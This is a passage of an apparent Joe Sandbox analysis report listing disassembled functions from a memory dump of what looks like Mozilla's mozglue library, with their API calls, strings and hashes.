EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

<jemalloc>, xrefs: 6C986AA9, 6C986B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MOZ_CRASH(), xrefs: 6C986AB8
MALLOC_OPTIONS, xrefs: 6C986888
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvinit.dll, xrefs: 6C994479
nvd3d9wrap.dll, xrefs: 6C994466

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10
MOZ_CRASH(), xrefs: 6C970CA7

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9A5AC3
expected a Time entry, xrefs: 6C9A5CB6
schema, xrefs: 6C9A606D
name, xrefs: 6C9A5E79, 6C9A5E8F
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
data, xrefs: 6C9A6131

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D
get , xrefs: 6C9A3205
set , xrefs: 6C9A36EC

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C9981E3, 6C998311
(pre-xul), xrefs: 6C997E88
name, xrefs: 6C997ECF, 6C998335
data, xrefs: 6C998280, 6C9983E1

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C97D82C
<jemalloc>, xrefs: 6C97D827

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3
MOZ_CRASH(), xrefs: 6C977BA4

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C953508
kernel32.dll, xrefs: 6C9534EA

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

